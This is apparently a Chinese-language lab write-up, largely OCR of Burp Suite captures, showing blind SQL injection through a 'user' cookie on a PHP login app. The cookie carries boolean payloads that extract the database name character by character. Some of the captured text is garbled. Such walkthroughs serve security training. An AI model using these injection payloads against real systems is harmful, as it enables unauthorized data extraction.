

登录成功跳转到ming.php下

发送这个数据包出现报错

让你用post传递一个数据

The image shows a network traffic analysis tool with two panels. The left panel displays a raw packet capture in hexadecimal and ASCII. The right panel displays the packet's structure in a human-readable format, showing the HTTP request details.

Raw Packet (Left Panel):

```

1 POST /ming.php HTTP/1.1
2 Host: 152.136.110.126
3 Content-Length: 14
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://152.136.110.126
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0
  Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://152.136.110.126/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: cc5510bf606aebac4b3542ac2fc6002d=
  350543e6-f140-400a-8aea-d9fc2b0fe51a.34vNHLHnHG2jZTQInayjKu90WZ4;
  request_token=EAw2gfh0lgKFNvUqgeMT7Esn4Sd5VbnJu0R9k86VMMgZMxdM;
  order=id%20desc; serverType=nginx; pro_end=-1; ltd_end=-1; memSize=
  3694; bt_user_info=
  %7B%22status%22%3Atrue%2C%22msg%22%3A%22u83B7%u53D6%u6210%u529F%21%
  22%2C%22data%22%3A%7B%22username%22%3A%22135***2599%22%7D%7D;
  sites_path=/www/;root: site_model=php; rank=list;

```

Packet Structure (Right Panel):

```

1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Mon, 21 Nov 2022 16:10:14 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 Vary: Accept-Encoding
7 Content-Length: 9
8
9 123456789

```

Raw	Hex
POST /submit.php HTTP/1.1 Host: 152.136.110.126 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://152.136.110.126 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://152.136.110.126/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: cc5510bf606aebac4b3542ac2fc6002d=350543e6-f140-400a-8aea-d9fc2b0fe51a.34vNH1HnHG2jZTInayjKu90WZ4; request_token=EAw2gfH01gKFNvUqgeMT7Esn4Sd5VbnJu0R9k86VMGZmXdm; order=id%20desc; serverType=nginx; pro_end=-1; ldt_end=-1; memSize=3694; bt_user_info=%B%2status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22135***2599%22%7D%7D; sites_path=/www/wwwroot; site_model=php; rank=list; file_recvle_status=true; config_tab=allConfig; distribution=centos7 Connection: close username=ming1	1 HTTP/1.1 200 OK 2 Server: nginx 3 Date: Mon, 21 Nov 2022 16:10:14 GMT 4 Content-Type: text/html; charset=UTF-8 5 Connection: close 6 Vary: Accept-Encoding 7 Content-Length: 9 8 9 123456789

修改为post传参 发现出现一串key值

修改username的ming1值 发送报文时不会改变此账户的数据包(难道说没有注入吗?)

其实关键点在set-cookie这里

Raw	Hex	Render
POST /submit.php HTTP/1.1 Host: 152.136.110.126 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://152.136.110.126 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://152.136.110.126/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: cc5510bf606aebac4b3542ac2fc6002d=350543e6-f140-400a-8aea-d9fc2b0fe51a.34vNH1HnHG2jZTInayjKu90WZ4; request_token=EAw2gfH01gKFNvUqgeMT7Esn4Sd5VbnJu0R9k86VMGZmXdm; order=id%20desc; serverType=nginx; pro_end=-1; ldt_end=-1; memSize=3694; bt_user_info=%B%2status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22135***2599%22%7D%7D; sites_path=/www/wwwroot; site_model=php; rank=list; file_recvle_status=true; config_tab=allConfig; distribution=centos7 Connection: close username=ming1		1 HTTP/1.1 302 Found 2 Server: nginx 3 Date: Mon, 21 Nov 2022 16:07:58 GMT 4 Content-Type: text/html; charset=UTF-8 5 Connection: close 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 Set-Cookie: user=ming1 10 Location: http://152.136.110.126/ming.php 11 Content-Length: 2 12 13 14

Request

Raw	Hex
POST /submit.php HTTP/1.1 Host: 152.136.110.126 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://152.136.110.126 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://152.136.110.126/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: cc5510bf606aebac4b3542ac2fc6002d=350543e6-f140-400a-8aea-d9fc2b0fe51a.34vNH1HnHG2jZTInayjKu90WZ4; request_token=EAw2gfH01gKFNvUqgeMT7Esn4Sd5VbnJu0R9k86VMGZmXdm; order=id%20desc; serverType=nginx; pro_end=-1; ldt_end=-1; memSize=3694; bt_user_info=%B%2status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22135***2599%22%7D%7D; sites_path=/www/wwwroot; site_model=php; rank=list; file_recvle_status=true; config_tab=allConfig; distribution=centos7 Connection: close username=ming1	

Response	Raw	Hex	Render
1 HTTP/1.1 200 OK 2 Server: nginx 3 Date: Mon, 21 Nov 2022 16:11:21 GMT 4 Content-Type: text/html; charset=UTF-8 5 Connection: close 6 Vary: Accept-Encoding 7 Content-Length: 9 8 9 123456789			

[illegible]

② Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various customized in different ways.

Payload set: 1 Payload count: 6
Payload type: Simple list Request count: 6

⓪ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste	1
Load ...	2
	3
Remove	4
Clear	5
Deduplicate	6
Add	<input type="text" value="Enter a new item"/>
Add from list ...	<input type="text" value=""/>

② Payload Processing

Request	Payload	Status	Error	Timeout	Length	Comment
		200	<input type="checkbox"/>	<input type="checkbox"/>	481	
3		200	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	181	
1		200	<input type="checkbox"/>	<input type="checkbox"/>	172	
2		200	<input type="checkbox"/>	<input type="checkbox"/>	172	
4		200	<input type="checkbox"/>	<input type="checkbox"/>	172	
5		200	<input type="checkbox"/>	<input type="checkbox"/>	172	
6		200	<input type="checkbox"/>	<input type="checkbox"/>	172	

```
Request      Response
Pretty      Raw      Hex
E1uF0F08%u5E74%u4ED8%uFF09%u22%2C%2222%u5F2OSSL%u5546%u7528%u8BC1%u4EB6%uFF08%u5E74%u4ED8%uFF09%u22%2C%22%u4EI3%u4EA%B%uF01%u4EIA%u67D0%u5A1%uFA4f0F08%u5E74%u4ED8%uFF09%u22%2C%22pro_list%2%3%A5B%u66F4%u6362%u6388%u6743IP%u22%2C%22%u5BA2%u67D0%u4F18%u5148%u54CD%u5B94%u22%2C%2215+nu6B3FE%u4ED8%uSD39%u63D2%u4EF6%u22k%22%2215%u5929%u65B0%u7406%u7531%u9000%u6B3FE%u22%2C%22%u5546%u7528%u9632%u7068%u5899%u6388%u6743%u22%2C%22k%22q%u22%3%A52300T25543Z%u22%2C%22k%22k%22http3A//.q.url.cn/Cd/QPS%3F_type%3Dwpa%26gidian%3Dtrue%u22%2C%22qun%u22%3%A522%u22%2C%22k%22l5t%u22%3%A5B%u22%2C%22q%u22%3%A52300T25543Z%u22%2C%22k%22k%22http3A//.q.url.cn/Cd/QPS%3F_type%3Dwpa%26gidian%3Dtrue%u22%2C%22%u22%2C%22B%u22%2C%22q%u22%3%A52229274400T0%u22%2C%22k%22k%22f%u22%3%A522http3A//.wpa.qq.com/msgrd?3Fv%3D326uin%3D329274400T0%u26site%3Dqq%26mumu%3Dyes%26from%3Dmessage%26isappinstall%3D%22%2C%22%D5%u22%22wx_list%u22%3%A5B%u22%2Cs%26ps%26id%22%u7528%u7BBFu5BA2%u67D0%u22%2C%22k%22k%22https3A//www.bt.cn/new/wechat_customer%u22%27D%u5D%7D; load_page=null; load_type=null; load_search=undefined; commandInputViewUIID=Sa2bhZRbnNAxmS%; db_page_model=mysql; backup_path=/www/backcup; site_type=0; SetName=: ChangePath=3; Path=/www/root/http; user=ming! and 1=(length(database())=3,1,2)-- ; PHPSESSID=lqmOh60tlnnH44o0MSrhlrf9v
4 Connection: close
5
6 username=mngl
```

测数据库长度为 3

测数据库名字

第二位113 q出现

0		200	<input type="checkbox"/>	<input type="checkbox"/>	481	
44	108	200	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	181	
1	65	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
2	66	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
3	67	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
4	68	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
5	69	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
6	70	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
7	71	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
8	72	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
9	73	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
10	74	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
11	75	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
12	76	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
13	77	200	<input type="checkbox"/>	<input type="checkbox"/>	172	
Request Response						
Pretty Raw Hex						
<pre>E1%uF08%u5E74%u4ED8%uFF09%22%2C%22%u5F20SSL%u5546%u7528%u8BC1%u4E66%uF08%u5E74%u4ED8%uFF09%22%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%uF08%u5E74%u4ED8%uFF09%22%2C%22%pro_list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5B94%22%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2215%u5929%u65B0%u7406%u7531%u9000%u6B3E%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%5D%2C%22kfqq%22%3A%223007255432%22%2C%22kf%22%3A%22http3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%2C%22qun%22%3A%22%22%2C%22kf_list%22%3A%5B%7B%22qq%22%3A%223007255432%22%2C%22kf%22%3A%22http3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%7D%2C%7B%22qq%22%3A%222927440070%22%2C%22kf%22%3A%22http3A//wpa.qq.com/msgrd%3Fv%3D3%26uin%3D2927440070%26site%3Dqq%26menu%3Dyes%26from%3Dmessage%26isappinstalled%3D0%22%7D%5D%2C%22wx_list%22%3A%5B%7B%22ps%22%3A%22%u5728%u7EBF%u5BA2%u670D%22%2C%22kf%22%3A%22https3A//www.bt.cn/new/wechat_customer%22%7D%5D%7D; load_page=null; load_type=null; load_search=undefined; commandInputViewUUID=8a2bhzRbNAxm6SL; db_page_model=mysql; backup_path=/www/backup; site_type=0; SetName=; ChangePath=3; Path=/www/wwwroot/http; user=mingl' and 1=if(ascii(substr(database(),3,1))=108,1,2)-- ; PHPSESSID=lqm0h60tlnn4h40om587hrlf9v</pre>						
14	Connection: close					
15						

第三位108 出现

数据库名字为 sql

ming.php代码

